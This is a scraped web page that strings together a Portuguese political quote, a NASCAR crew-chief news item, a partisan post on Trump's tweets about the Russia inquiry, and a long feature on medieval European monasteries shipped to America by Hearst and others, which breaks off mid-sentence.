2018”.  Ao jornal O Globo, o deputado Espiridião Amin afirmou: "essa proposta não tem cabimento. Daqui a pouco a candidatura vai ser um passe livre para bandido. É uma ideia infeliz, a famosa proposta indecente. Não fui consultado e vou votar contra. É apenas uma tentativa de blindar bandido para se candidatar".
-With all the changes taking place at Roush Fenway Racing for the 2015 season, it appears veteran crew chief Jimmy Fennig may be in his final year calling shots on the pit box.  Currently serving as crew chief for Carl Edwards — who will move on to Joe Gibbs Racing next season — Fennig indicated he would likely take a behind-the-scenes role with the team once the season comes to a conclusion.  Friday at Bristol Motor Speedway, Fennig told FOXSports.com he will have to wait and see what team owner Jack Roush has in store for him next year, but added that he will most likely not be atop the pit box after the 2014 season.  Article continues below ...  Saying it would ultimately be his decision when to walk away, Fennig indicated he would most likely work with the research-and-development arm of Roush Fenway Racing.  Jack Roush said of Fennig’s future: "We don’t have a plan yet," Jack Roush said of Fennig’s future. "We haven’t heard definitively from Jimmy what his plans are, but he may be thinking about retirement. We’re just not sure."  Trevor Bayne is making his move to a full-time ride in the NASCAR Sprint Cup Series in 2015 and does not yet have a crew chief in place, so that is a possible spot for Fennig if he decides to continue working in a crew chief role.  One of the longest tenured crew chiefs in the NASCAR Sprint Cup garage, Fennig has been calling the shots atop the pit box since getting his start in 1986 with Mark Martin.  Over the next 28 years, he would go on to work with the likes of Bobby Allison, Dick Trickle, Hut Stricklin, Jimmy Spencer, again with Martin, Kurt Busch, Kenny Wallace, Jamie McMurray, David Ragan, Matt Kenseth, and has spent the last two seasons calling the shots for Carl Edwards.  Edwards said Friday that he did not know what Fennig’s plans were at the end of the season.  Fennig’s most successful season came while working with Mark Martin in 1998, scoring seven wins, 22 top fives and 26 top 10s. Working with Kurt Busch in 2004, Fennig scored his lone NASCAR Sprint Cup Series championship.
-Trump Blasts Floundering Democrats Over Fake Russian Story  Key Democratic officials are now warning their base not to expect evidence of Trump-Russia collusion in the 2016 election.  This comes after months of Democratic leaders and the Fake News media of hyping up the conspiracy that Russia hacked the election.  Today Donald Trump blasted Democrats over the fake Russian story.  The Democrats made up and pushed the Russian story as an excuse for running a terrible campaign. Big advantage in Electoral College & lost! — Donald J. Trump (@realDonaldTrump) March 20, 2017  Sorry Democrats – There is no evidence to support your conspiracies.  James Clapper and others stated that there is no evidence Potus colluded with Russia. This story is FAKE NEWS and everyone knows it! — Donald J. Trump (@realDonaldTrump) March 20, 2017  The real story is the leaking of classified documents.  The real story that Congress, the FBI and all others should be looking into is the leaking of Classified information. Must find leaker now! — Donald J. Trump (@realDonaldTrump) March 20, 2017
-Crates of monastery stones and statue of the King of Seville arrive in Miami. St. Bernard de Clairvaux was dismantled and shipped from Spain by William Randolph Hearst. (Photo: Bettmann/Corbis)  We had been driving through what felt like one continuous Miami strip mall for almost an hour. Our GPS promised that in a few short minutes we would reach the destination we had traveled some thousand miles to find: a Spanish monastery, from the 12th century, once inhabited by a bevy of monks, moved stone by stone across the ocean, now set in the middle of a swamp-jungle. As we passed each pawn shop, shuttered record store, and strip mall-based high school, it became increasingly plausible that perhaps the guidebooks, Wikipedia, and Catherine Zeta Jones’ jarringly kinky scene from Rock of Ages had somewhat oversold whatever we were about to experience.  When the GPS told us to turn left, our earlier suspicions were confirmed. The side streets did not really offer an escape from the strip mall, but merely extended it in all directions.  Then, suddenly, on the right, a break in the uniform storefronts. A little further on, a small sign announcing the Ancient Spanish Monastery.  At the back of the parking lot, a wrought iron gate blocked off a graceful 16th century gate just wide enough for a small truck. Mary and Bernard of Clairvaux looked down lovingly from delicate niches on either side of the gate, their gazes falling on a cluster of cats that had found shade next to the plastered support posts. It was the quintessential Southern Mediterranean/Under the Tuscan Sun vibe, except, in the background, giant tropical plants, complete with dangling vines. The trees loomed over a church, courtyard and dining hall built in the middle of nowhere in Spain almost nine centuries before. From the gate, we could see bright flowers splayed against the pitted stone, a little worse for the wear after 900 years of use, a trip across the Atlantic ocean, several fires, and a quarter-century sabbatical in the damp crates of a Bronx warehouse from the 1920s to the 1950s.  The exterior of St Bernard de Clairvaux, Miami. (Photo: Jorge Elías/flickr)  This was Medieval America—one of several dozen centuries-old buildings imported to the U.S. in the early 20th century. They lie scattered around the country, a hidden patchwork of mostly-illegal monasteries and mansions whose history has been largely forgotten. In reporting this story, Atlas Obscura dug into both scholarly and journalistic texts, and spent time on both coasts, to understand how and why a handful of the country’s most famous families spent small fortunes helping themselves to whole European buildings. The story that emerged is part caper, part mystery, and part tragedy: American robber barons snuck ancient stones out of the war-torn countryside in the dead of night, Europeans fretted over how their familiar landmarks were rapidly disappearing, and U.S. cities spent decades of the 20th century fighting over what to do with tens of thousands of displaced medieval remnants.  How to Steal a Monastery  There are two Americans to thank for the strange fact of a 12th century Spanish monastery’s existence only a few miles from Miami Beach: notorious plutocrat William Randolph Hearst, and his art dealer, Arthur Byne. Together, these two men thwarted Spanish authorities, angry townspeople, and all common sense to drag not one, but two monasteries to the shores of America.  In December 1926, the New York Times printed a brief article on Hearst’s importation of St. Bernard de Clairvaux, stone-by-stone, from Segovia, Spain. William Randolph Hearst was no stranger to the Times—a newspaper magnate, short-lived Congressman for New York, and perpetual tabloid fixture for his high profile romantic affairs and fights with fellow tycoons, Hearst had a proclivity for spending money in the most ostentatious, self-congratulatory ways. A regular Times reader of the era would not be surprised to hear that Hearst had imported an entire medieval building.  The Map of Medieval America: From Florida to California, the U.S. has a whole village worth of medieval buildings hiding in plain view. Here are 20 of them, in whole and in parts, mostly open to the public as museums (or parts of museums). But this map barely scrapes the surface of the stories behind these structures, which have endured arduous journeys to their current resting places.  The complexity of that achievement was given scant space. The journalist covering the purchase included only a brief note on the obstacles Hearst faced in dismantling and moving a monastery out of Spain: “Twice during the work of removing the cloister, the villagers, banding together, drove the workingmen away on the ground that foreigners were robbing the community of its greatest treasure.” The article went on to assure readers that “the cloister will be the only precious work of art allowed to leave Spain for a law passed two months ago prohibits further exportation of works of art and ruins.”  Yet just five years later, 11 ships filled with the pieces of a second Spanish monastery bought by Hearst docked in San Francisco Bay, in spite of the new laws. Who let this happen? And why were Americans buying, shipping and reconstructing medieval European buildings in the first place?  The answer to both of these questions was, at least in part, Arthur Byne. In 1930, Byne, a renowned American dealer of Spanish art, stumbled upon the monastery of Santa Maria de Óvila, nestled in a small valley created by a bend in the River Tagus in central Spain. Byne had developed something of a complicated reputation in the country since arriving there 20 years earlier. In 1910, Byne undertook his first trip through Spain to photograph and catalog the nation’s medieval monuments. He soon earned the trust of the Spanish government and its art community and became a leading expert on Spain’s cultural heritage, even receiving recognition from the king in 1927. But at the same time, Byne was leveraging these relationships to build a bustling business in the antiquities trade, exporting furniture, fireplaces, ceilings, statues, and other Spanish treasures to his American clients. “My only role in life is taking down old works of art, conserving them to the best of my ability and shipping them to America,” Byne reflected in a 1934 letter to Julia Morgan, an architect colleague back in California.  The monastery, a home to Cistercian monks beginning in 1180, had a typically medieval monastery plan, with a series of buildings constructed around a cloister with arcaded walkways. The church sat on the north side of the cloister, while the monks’ wing attached to the east side, which included the sacristy, the library, the chapter house and probably a common room for the monks. On the south wing opposite the church stood the refectory, kitchen, pantry, and a calefactorium (warming room). The bodega, a utilitarian building containing a long subterranean vault for wine storage, made up the monastery’s west side.  Upon encountering the site, Byne knew he had an ideal buyer in William Randolph Hearst. Hearst had a reputation as an unpredictable, but prolific, art collector; as one of his dealers assessed in a very backhanded compliment, “nobody I have known showed simultaneously such a voracious desire to acquire and so little discrimination in doing it.” Hearst also had a particular interest in Spain. He once wrote in a letter to his mother that Spain was “a tired, worn out monarchy” prime for exploitation by foreign elites. He declared, “[we] will burst through the Pyrenees into Spain, and ravage the country. How does that strike you?”  William Randolph Hearst, c. 1906. (Photo: Library of Congress)  However, Hearst also had a specific goal in mind for Santa Maria de Óvila. It would be part of a 61-bedroom “medieval castle” in the California wilderness, called Wyntoon Castle. Hearst was less interested in historical preservation, and his design included a swimming pool constructed from Santa Maria de Óvila’s 150-foot-long chapel with a diving board installed on the site of the former altar. The choir at the north end of the church would serve as a women’s dressing room, and the chapel’s apse would be scattered with two or three feet of sand, creating a “beach” for sunbathing. After a series of exchanges with Byne, Hearst approved the purchase of the entire monastery.  From the moment Hearst agreed to shell out the cash—around $300,000 in total—Byne realized he was facing a number of challenges in moving a monastery, stone by stone, across the Atlantic Ocean to a California forest. Luckily, American money worked wonders on a weak Spanish government.  The first, and perhaps most pressing issue, was that taking a monastery out of Spain violated a host of Spanish cultural preservation laws, many of which the Spanish government had generated in the wake of Byne’s previous antiquities-purchasing binges. “It is forbidden to ship a single antique stone from Spain today—even the size of a baseball,” Byne himself admitted. Thus, Byne took extreme precautions in keeping his project quiet. Two of Hearst’s architectural consultants, Walter T. Steilberg and Julia Morgan corresponded about the “need for secrecy in this matter.” “I am not trusting, in this talkative country, to the discretion of any typist, and shall send all of my reports in pencil…” wrote Steilberg.  One of the ways Byne convinced the Spanish government to turn a blind eye to his pillaging was by convincing the Spanish Ministry of Labor that his project was a “partial solution to the serious problem of unemployment.” In the midst of a serious Spanish economic depression, Byne hired more than 100 local townspeople to dismantle the monastery. The disassembling process went quickly, thanks to the neat construction of the site—Byne described the monastery as “a joy to take down.”  The dismantled cloister of the Monastery of Ovila, 1930s, said by Byne to be a “joy to take down”. (Photo: Public Domain/WikiCommons)  But moving the many heavy stones presented a more imposing challenge. Byne needed to transport the stones across the countryside to the port, about 100 miles away. However, there were no paved roads in this part of the country, nor did it have accessible railroad networks. Undeterred, Byne found the remains of a trench railway from Paris, a leftover relic of World War I, when Allied forces needed to deliver supplies to soldiers in the trenches. The railways were less expensive to build and could be easily moved and reconstructed, allowing Byne to quickly lay down tracks in Spain. The simple, makeshift rail lines previously used to deliver critical ammunition, food, and medicine to trench-bound Allied soldiers were now being used to move metal push carts filled with ancient stones through a Spanish valley.  But building a railway to transport one rich man’s illegal purchase was not enough. Byne’s workers also needed to get the stones across the River Tagus, which ran alongside the site. Hearst’s architects, in cooperation with the local workers, developed a pulley system that used the current of the riverto pull a raft filled with stones connected to a series of cables: It took the workers thousands of trips, over the course of six months, to get the stones across the 100-foot-wide river.  The instability of the Spanish government provided a final challenge for Byne and Hearst. When Byne began removing the monastery in early 1931, Spain had a largely ineffective monarchy and a sluggish economy. This helped Byne convince the government that monastery exportation was a boon to the Spanish economy—creating jobs and bringing in some much needed revenue. But it also meant that the government might collapse any day, and could be replaced with a new government less willing to ignore Byne and Hearst’s antics. In a March 1931 letter, Steilberg relayed:  Mr. Byne is very anxious to just remove from the site all the carved or moulded members, as he fears interference by the authorities at any time. We presented the entire matter to the national art commission and they were entirely agreeable to him taking this forgotten and shameful neglected and abused group of buildings; but it is quite possible that some of the politicians, in an effort to discredit those in power, may bring pressure to bear through the press that would halt the work at once.”  A month later, in April 1931, Byne’s fears were realized as the Spanish king fled the country, and an anti-monarchist regime came to power. But, luckily for the Americans, the Second Spanish Republic was about as effective as its predecessor when it came to protecting cultural heritage sites. Byne declared that the revolutionary Spanish government “(has) more important problems than to bother about than the demolition of an old ruin.” Time magazine later reported, “[Byne’s] workers nailed the red flag of revolution to the church they were illegally tearing down and went right on working.”  By the time the stone-laden ships arrived in the San Francisco harbor in 1931, Hearst and Byne faced a challenge even more imposing than angry townspeople and interloping Spanish bureaucrats: the Great Depression. As the stock market crashed, Hearst’s net worth plummeted and his desire for a personal medieval castle with a chapel swimming pool began to seem like a pipe dream. Estimates for the cost of completing the castle came in at around $50,000,000 and Hearst’s financial advisors finally convinced him that he could not afford to take on this expense. After all of Byne’s effort and ingenuity, Santa Maria de Óvila was retired to a warehouse, then dumped in a San Francisco park.  Why Buy A Monastery  The idea to buy a medieval building, dismantle it, ship it across an ocean, store it, and then rebuild it in a new location was not just a lavish fantasy formed in Hearst’s money-addled brain and turned into reality by an army of fearful yes-men. An English antiquarian noted somewhat darkly to the Manchester Guardian in 1926 that “there [seemed] to be a craze in the United States at the moment for this sort of thing.”  He was right. Significant portions of at least 20 medieval buildings made their way across the Atlantic, almost all between 1914 and 1934. As a result of this veritable industry, medieval structures now reside or resided in major cities across the country (New York, Philadelphia, Detroit, San Francisco, and Miami), as well as in regional centers (Richmond, VA; Toledo, OH; and Milwaukee; WI), and even in the middle of nowhere (Vina, CA).  American billionaires like Hearst and John D. Rockefeller, Jr. played a significant part in this trade, but they weren’t the only ones involved. Many wealthy folks seemed to consider the purchase of a medieval building a reasonable personal expense.  Segovia, Spain, where the St. Bernard de Clairvaux was originally located. The city walls date from the 8th century. (Photo: Carlos Delgado/WikiCommons CC BY-SA 3.0)  The buildings were not that expensive, at least for an early 20th century American magnate. Even slightly less-rich people could afford them: An American diplomat and his heiress wife purchased a medieval English manor house and brought it to Virginia. The daughter of a railroad magnate had a Gothic chapel moved from France to her estate in Long Island, where she installed it next to a (now destroyed) Renaissance castle that she had acquired earlier. Most of the structures were little more than ruins after the Wars of Religion of the 16th century and the nationalization of religious institutions at the end of the 18th and beginning of the 19th centuries. Governments in the 19th century had given the buildings to local, private owners for a song.  More difficult for the prospective medieval building owner was the politics. To facilitate the legally ambiguous trade, Hearst had Byne, John D. Rockefeller had George Grey Barnard, Virginia business people used Henry G. Moore. Stealing a monastery was all about networking.  But, speaking more broadly, the desire for such properties was probably rooted in the American interest in the European past. At the beginning of the 20th century, American elites began incorporating elements of medieval architecture into everything from universities to churches to department stores. By the time that Hearst, Rockefeller, and the others started importing medieval buildings, Americans had been collecting medieval art and sculpture in earnest for about 40 years. Americans wanted anything that could be labeled “medieval”: the sturdy, stark lines of the 11th century Romanesque or the effusive ornament of the early 16th century flamboyant Gothic, it didn’t matter.  Nowadays, the dominant cultural expression of the Middle Ages seems to be the sex and violence of Game of Thrones. But at the turn of the century, Americans thought of the era as a time of serenity; piety; and ideal, harmonious communities. Medieval Europe had not yet suffered the traumas of industry, and medieval objects became a way to demonstrate that the capitalism of the early 20th century had its genteel side. In the case of the 15th century Tudor manor house Agecroft Hall, the effect was supposed to be actually transformative. One pamphleteer writing about the arrival of the hall in Virginia claimed rapturously that “England [was] literally being brought to America.” She did not mean that America was claiming a part of England, she meant that part of the U.S. had been turned into a medieval English agricultural estate—an improvement.  Any coherence that the medieval buildings bought by Americans might have had in the 1920s and 1930s disappeared almost as soon as the buildings arrived in America. The Depression shifted financial priorities away from moving buildings across oceans and the fad for all things medieval had faded by World War II. The Medieval American buildings might have been acquired for similar reasons but soon after their arrival in the U.S., they began wildly disparate journeys.  What Happens When Your Building Arrives in America  A lot could go wrong even once a medieval building finally made it to America. Geopolitics, the global economy, and public health regulations all had unexpected consequences. And, of course, there never seemed to be enough money.  Even the buildings that would become The Cloisters, that venerable model of American medievalism, faced some challenges on this side of the pond. George Grey Barnard, an American sculptor and antiquities dealer who was deeply in debt and living in France, began in 1906 to acquire large portions of four monasteries: Sant-Miquel-de-Cuixà, Saint-Guilhem-le-Désert, Trie-en-Bigorre, and what he thought was Bonnefont-en-Comminges. He planned to sell the buildings to wealthy individuals and institutions from New York to L.A., but plan after plan fell through. By 1913, he had few prospects and was quickly running out of time, as laws forbidding the export of French monuments would come into effect on January 1, 1914. He threw the cloisters on boats as swiftly as he could—the authorities, who knew what he was doing, tried to stop him—and got the stones out in the nick of time.  George Grey Barnard, sculptor and medieval art dealer, in 1908. (Photo: Public Domain/WikiCommons)  In early 1914, these cloisters arrived in New York, and Barnard decided that he would keep them for the immediate future, creating an installation on some undeveloped land in Upper Manhattan. This predecessor to today’s Cloisters proved immensely popular, with papers heralding it as the Gothic jewel of New York’s cultural institutions.  By the mid-1920s, however, Barnard needed money, badly. He quietly let it be known that his cloisters, and the land they were on, were collectively for sale. Barnard’s agent approached John D. Rockefeller, Jr., on March 25, 1925, and offered everything for $1 million. Barnard had bought art for Rockefeller in the past, and the two had previously discussed the creation of a great museum of medieval objects. Now, with the fate of New York’s premier medieval exhibit uncertain, Barnard stressed to Rockefeller the importance of keeping his cloisters in the city if at all possible. With stronger antiquities laws in place, it could prove tricky for Rockefeller to simply go buy a new set of medieval buildings in France.  Rockefeller, a brutal negotiator, indicated his interest to Barnard’s dealer and then ceased contact with them for several weeks. Rockefeller then wrote to The Metropolitan Museum of Art with an offer to buy the cloisters for the museum, eventually settling on a donation of $500,000 to buy the buildings and an additional $300,000 to maintain them. A decade earlier, The Met had promised to buy Sant-Miquel-de-Cuixà from Barnard, but backed out. This time, the sale went through, and Barnard agreed to sell his cloisters to The Met for $650,000, a sum much lower than the million-dollar offers he had entertained in 1915 and 1922. By 1933, the cloisters were moved to Fort Tryon Park and were newly combined and augmented into the complex that is The Cloisters today.  Saint-Michel-de-Cuixa, late 1800s, prior to parts of it being dismantled and shipped to New York, where is makes up part of The Cloisters. (Photo: Bibliothèque de Toulouse/flickr)  Another Spanish monastery acquired with Hearst money veered even further off course. Before Hearst bought Santa Maria de Óvila in 1930, he had purchased another Spanish monastery: Saint Bernard de Clairvaux from Segovia, Spain. St. Bernard de Clairvaux charted a curious course from Spain to Miami by way of New York.  Byne got St. Bernard de Clairvaux out the same way he moved Santa Maria de Óvila, but this trip proved much easier. He built 40 miles of road through the mountainous Spanish countryside, hired more than 100 men and ox-cart teams to stomp down his newly laid roads, and constructed a 20-mile narrow-gauge railroad. Spain’s cultural preservation laws hadn’t been enacted yet, so Byne didn’t have to worry about interference from the authorities; he just slipped cash into the waiting hands of the dockworkers. In about a year’s time the monastery had been blueprinted, dismantled, packed into 10,571 crates and shipped to a Bronx warehouse, where it arrived in 1926.  Then the monastery landed in the crossfire of an international public health scare. Byne’s workers packaged the pieces of monastery stone with hay to cushion the blocks during the long journey across the Atlantic—standard practice, particularly when trafficking fragile goods out of a rural region. But in 1924, the United States experienced its seventh outbreak of the unfortunately named and highly contagious “hoof and mouth disease.” Past outbreaks of the virus had devastated American agriculture, as swine, sheep, and cattle broke out in the gruesome mouth and hoof blisters characteristic of the ailment. A 1914 epidemic of hoof and mouth disease spread across the eastern and midwestern United States, forcing farmers to slaughter 200,000 diseased animals at an appraised value of almost $6 million. The USDA believed that the disease had come from overseas, as both Europe and Latin America had experienced epidemics.  When Spain experienced another eruption in 1925, the USDA was not taking any chances. American authorities figured the odds were good that the hay used to pack Hearst’s crates had been exposed to animals in Europe and demanded the quarantine of all 10,571 crates. Within a few days, government workers burned every scrap of the packaging hay in an attempt to protect America’s cows from yet another round of a foreign plague.  When the stones finally made it to the Bronx warehouse, Hearst realized he had yet another administrative catastrophe on his hands—the workers repacked the stones without returning them to their original wooden crates. The crates had departed from Spain with an identifying number and a compass direction on each crate, so that the 10,571 pieces of monastery could be reconstructed.  Now that blueprint was completely, irrevocably gone. Hearst was the overwhelmed owner of what Time magazine christened “the biggest jigsaw puzzle in history.”  St. Bernard de Clairvaux languished in the warehouse for almost 30 years while Hearst plotted his next steps. Putting the monastery back together would require both money and motivation, and by the 1930s, Hearst was running out of both. Now in possession of multiple piecemeal medieval monasteries he had neither the plans nor the resources to rebuild, Hearst began to seek someone—anyone—to take this giant stone burden off his hands. Beginning in 1937, Hearst started liquidating his massive art collection, as the New York Times morbidly noted, “in anticipation for his death.” (Hearst’s death wouldn’t come for another 14 years.) Hearst tasked his art dealers with the work of pawning an art collection that had cost him a cool $40 million (not adjusted for inflation), and included such eccentricities as dozens of full suits of armor, an Egyptian mummy, a pair of Benjamin Franklin’s glasses, and of course, full fledged medieval monasteries. But while the suits of armor flew off the shelves (in many cases almost literally, as some of the Hearst artifact fire sales were held at department stores), a Spanish monastery in 10,000-plus pieces was a much harder sell.  The cloisters at St. Bernard de Clairvaux Church, Miami, as they look today. (Photo: Public Domain/WikiCommons)  But in 1952, St. Bernard de Clairvaux finally found its buyers. William Edgemon and Raymond Moss, two businessmen from Cincinnati, purchased the cloisters and shipped the crates down the east coast to Port Everglades, at a cost of $60,000. After retrieving the crates from the Florida docks, Edgemon and Moss transported the stones to North Miami Beach; they hired an expert stonemason who spent the next 19 months re-erecting the monastery at a cost of nearly $1.5 million—later assessments would say that the stonemason got the gigantic puzzle “about 90% right.”  The choice of Miami as the location had its own peculiar logic, somewhat tied to the new popularity of central air conditioning. Reasoning that people might eventually get bored of the beach—or, at the very least, that it might occasionally rain—enterprising businessmen opened new tourist attractions, including amusement parks, aquariums and a wax museum around the city. The Ohio entrepreneurs banked on the monastery being beautiful and novel enough (“STEP BACK IN TIME 800 YEARS!”) to draw in some of Miami’s sunburned masses, and thus invested heavily in its reconstruction. (Similar reasoning would bring another medieval monastery to the Bahamas, too.)  The monastery never took off in the way the entrepreneurs hoped. Tourism in Miami began a downward slide in the early 1960s (due to, among other things, unseasonably cool temperatures and growing concern about drugs) and the monastery’s trickle of guests proved insufficient to recoup its enormous start up costs. In 1964, the cloister was saved from demolition when a philanthropist donated $400,000 and gave the property to the local Episcopal diocese. The Episcopalians continued to operate the site as a local attraction, but eliminated the admission fee and outfitted the locale to be a more suitable place for church services. They brought in carpets, found a new altar among Hearst’s still-for-sale possessions, and set up a church day care. The site’s new chaplain told the New York Times in 1964: “We feel we are redeeming this beautiful edifice. It has fallen very far from grace. After centuries of consecration by the prayers of the faithful, it is ignominious for it to be classified as a ‘giant jigsaw puzzle.’”  Miami of the 1950s, and future home to St. Bernard de Clairvaux. (Photo: Florida Memory/flickr)  If the tale of Hearst’s first monastery seemed complicated, his second monastery would prove no easier to unload. In the case of St. Bernard de Clairvaux, Hearst owned the Bronx warehouse, meaning that having the stones sit around wasn’t costing him much. But in San Francisco, Hearst needed to rent 28,000 square feet of warehouse space to house the crates containing Santa Maria de Óvila. With the onset of the Depression, and Hearst at real risk of bankruptcy, the tycoon could no longer afford to hemorrhage money in this manner.  Hearst’s agents began to look for a buyer, but as a Time journalist critically assessed, “(there) was probably not a sane man in the country who would have paid a reasonable price for it in 1939.”  After it became clear to Hearst that he was not going to make any money selling this monastery, he decided to try giving the stones away. In 1941, he proposed donating the stones to the City of San Francisco with the provision that the City would use them to reconstruct the original monastery buildings, and that these would form the main attraction of a Museum of Medieval Arts to be operated by the De Young Museum in Golden Gate Park. De Young administrators and city officials were enthusiastic; the Museum’s director Walter Heil wrote in a letter to Hearst that this was the most thrilling news he had received in his tenure in office. In anticipation for the move, Hearst took the stones out of the warehouse and had the crates placed in Golden Gate Park.  But like all previous plans for the stones, this dream too would prove short-lived. With the outbreak of World War II, municipal planning ground to a halt as government agencies refocused on defense and military operations. Directing energy to building a giant medieval museum also seemed somewhat tone-deaf when the nation was in the middle of a violent international entanglement. One museum board member recalled a heartfelt plea to the city “to reassemble the monastery’s stones at a dire point in the war when courage born of faith—any faith—could be reborn and flower in the lyrically soaring arches of a resurrected Santa Maria de Óvila.” Unfortunately, just three months after Pearl Harbor, Americans were not apt to see parallels between the courage of wartime valor and the “courage” of rebuilding a European cultural site.  Monastery stones in Golden Gate Park, San Francisco. (Photo: Binksternet/WikiCommons CC BY-SA 3.0)  Any last hope for the museum went (literally) up in smoke, after a series of fires damaged the unattended monastery stones. Between 1941 and 1959, no fewer than five inflagrations tore through the stones. Arson was heavily suspected (though never officially proven), and employees of the museum speculated the fires were related to a vocal faction of San Franciscans who did not want any construction in Golden Gate Park. This was a depressing time for Hearst’s architect, Steilberg, who was still hoping for a grand medieval structure. As Time would later note, “a kind of fatalistic lethargy seems to have settled on the California project.”  The ruins remained in Golden Gate Park until the end of the 20th century, as most people initially involved in the project either passed away or lost interest. The stones became weathered and overgrown with grass and weeds, morphing into the landscape of the park. Among their many new purposes, the stones served as a playground for children, a canvas for graffiti artists, and a site of “meditation and love” for San Francisco’s druid community.  Europeans to American Medieval Building Buyers: Drop Dead  From riots in Spain to scathing op-eds in English papers, Europeans did not let their medieval buildings sail quietly to America. In the face of energetic opposition, it is shocking how successful Americans were at taking these pieces of cultural heritage. Of course, it was sometimes legal for them to do so—barely legal, but often technically legal. England’s series of Ancient Monuments Protection Acts had not defined “ancient” in such a way that encompassed Agecroft Hall and Warwick Priory, Spain did not move to forbid the export of cultural heritage until after Byne had bought his first monastery, and George Grey Barnard famously finished putting his cloisters—The Cloisters—on boats just two days before France’s cultural heritage laws came into effect. However, to understand how Americans kept taking buildings and how Europeans made sense of these thefts, we need to look beyond the formal laws to the complicated and often tragic histories of the medieval buildings themselves.  Often, it came down to one critical question: How much of a building do you need to own to say that you own a building?  For something like the late Gothic chapel from the Chateau d’Herbéville, now at the Detroit Institute of Arts, the answer might be fairly simple. The nobles Jean Bayer de Boppart and his wife, Iseberg decided they wanted one of these private chapels that were all the rage, they hired skilled craftsmen to append it to their family home, and up it went. When antiquities dealer G. T. Demotte came across the building after World War I, he removed the walls, roof, interior stone and wooden elements of the chapel from the rest of the structure—by then mostly ruins—and could market the thing as a late Gothic chapel.  The St. Joan of Arc Chapel, Milwaukee, originally built in the Rhône River Valley in France. (Photo: Emma Stodder)  Something like the monastery of Sant-Miquel-de-Cuixà is a little more complicated. Physically, it’s a mass of different constructions, assembled over time. To a 9th century foundation, the monks added a church in the 10th century that was then refurbished, then consecrated, then overshadowed by a larger church built a few years later, all of it ultimately bolstered by many additional structures in the 11th century that helped to get more foot traffic going past the monastery in the form of pilgrims who donated and spent their way from their homelands as they traveled to Saint James of Compostela. In other places, building programs extended centuries further, into the 1400s. Americans were especially interested in Gothic and Romanesque stone—when Byne took his monasteries out of Spain, he just left the post-1200 material in ruins and in situ.  As far as Hearst was concerned, he owned Santa Maria de Óvila after his years of toil and millions of dollars spent, all culminating in the monastery’s relocation to America. In spite of the building’s epic journey, many in Spain do not realize that it ever left. The remaining buildings were rebuilt on their original site decades later, yielding the extreme oddity of a medieval monastery that is apparently now in two places at once.  While these layered and often confusing histories have today resulted in an alarming metaphysical conundrum, they were very convenient for American buyers in the early 20th century. Plus, from their perspective, they weren’t stealing history—they were doing the structures a favor. Time and war had left many of Europe’s “treasures” in sad shape. In England, religious institutions like that housed at Warwick Priory were dissolved under Henry VIII in the mid-16th century. Practically, that meant that the buildings were stripped of their furnishings and their inhabitants were released from their vows and sent away. In France, the Revolution led in 1790 to the dissolution of all religious orders and the nationalization of all Church property, with devastating consequences for the buildings and their communities (as well as for historians, since many, many archives were destroyed as a result).  What wasn’t destroyed, the state sold to private owners, usually for extremely low sums. One element of The Cloisters was, after 1792, used as a stable, a jail, a weapons foundry, a private residence, a garrison, and a hotel warehouse before locals dismantled the structure to make room for another hotel.  Americans and Europeans both hurled these long histories at one another when, on the one hand, staking a claim to medieval buildings and, on the other, repudiating American theft of cultural heritage. When the U.S. media reported on medieval acquisitions, they often revered American tycoons as heroic preservationists of the past. A 1936 New York Times editorial on The Cloisters praised the “patient [sic] genius” of George Grey Barnard and the “discerning and generous genius” of John D. Rockefeller Jr. in bringing the medieval sites to New York City. Both the media and the buyers of the monasteries were eager to draw connections between American and European history. “Mr. Rockefeller has helped to pay one great debt of our age to the Middle Ages by choosing to repair the Cathedral of Rheims,” opined the Times.  John D. Rockefeller, Jr., c. 1915. (Photo: Library of Congress)  World War II further cemented Americans’ belief that what Europeans had labeled “kidnapping” and “acts of thievery” actually represented actions for the good of humanity. When the Nelson Gallery of Art and Atkins Museum in Kansas City, Missouri, acquired a 13th-century French cloister in 1943, one curator declared its removal from Europe as “a splendid thing,” since now “we have [the elements] in this country where they are safe.”  The European side was just as entrenched. Perhaps the most brutal fight occurred over the purchase of a monastery and a great manor house by Virginians. The back-and-forth, waged through the press of each country, reached comically great heights.  In the summer of 1925, England was up in arms about the impending destruction of Warwick Priory, a group of formerly monastic buildings in the north. A meeting of the House of Commons on the subject exploded, but no political salvation could be found. The city of Warwick came up with ingenious solutions, all of which failed. It offered the buildings free of charge to the bishop of Coventry, but he refused to live so far from his flock. Undeterred, the city tried to turn the old monastery into public housing, but plans quickly fell through.  Then, on September 25, the papers reported the shocking news that Warwick Priory had been sold—to an unnamed American. The building, once visited by Queen Elizabeth I herself, would be transported to the U.S.  Virginia House, from the dismantled Warwick Priory, Warwickshire, England, c. 1929. (Photo: Library of Congress)  At first, news was scarce. Details only emerged a week later, when the AP cleared up “mysterious reports” by identifying the purchasers as Alexander and Virginia Weddell of Richmond, Virginia. They had bought the buildings to recreate another Warwickshire monument: Sulgrave Manor, English home of George Washington’s ancestors. Facing a barrage of criticism that they were stealing a vital piece of English history, the new owners went on the attack, giving interviews far and wide to make the case that they were the best caretakers for the property.  The Weddells developed two now-familiar rhetorical strategies. They immediately pointed out that they were doing Europe a favor by rescuing and restoring neglected treasures. Everything inside the buildings, even the stairs, had already been stripped and re-installed in an English factory. Adding insult to injury, the sale had been publicly announced and no one else had bothered to cough up the money. Alexander Weddell claimed he had never schemed to get his hands on an English home, he just happened upon the announcement when reading the newspaper his sandwich had been wrapped in.  Second, the Weddells explained, with the help of the American media, how Warwick Priory would fit in as well in Virginia as in Warwickshire. Papers on both sides of the Atlantic fixated on the fate of the priory for more than a year, from the first shipment of material from England to the U.S. on November 28, 1926, to breathless reports that the Weddells’ new home was nearing completion on May 8, 1927.  Each report brought with it new details, many of which strained credulity. The New York Times wrote that Virginia Weddell herself was a descendant of George Washington’s family in an article titled “American Buys Warwick Priory As Shrine Here to Washington.” Another paper speculated that Warwick Priory would yield 6,000 to 10,000 tons of brick and stone for the replica from the exact same quarry that had supplied material for Washington’s ancestral home. The Boston Globe’s long profile detailed the centuries of close friendship enjoyed by the Washingtons and the owners of Warwick Priory before the colonists came to America.  The interior of Virginia House, 1929. (Photo: Library of Congress)  Virginia Weddell herself waded into the fantasy of Warwick Priory as not just an English building, but a proto-American one. She reminisced about how the ships sailing with the building materials followed the same trail that the colonists had taken when they came to Virginia, where they built English-style houses of their own. “True, those brave pioneers started from Blackwell, near London; but their little ships, the Sarah Constant, the Godspeed and the Discovery, passed Old Point Comfort, as will my ship; and the Priory is to be unloaded at a point not far removed from the landing place of Captain John Smith.”  While all of this glorification of a new, medieval monument to George Washington was going on, a new scandal was brewing in 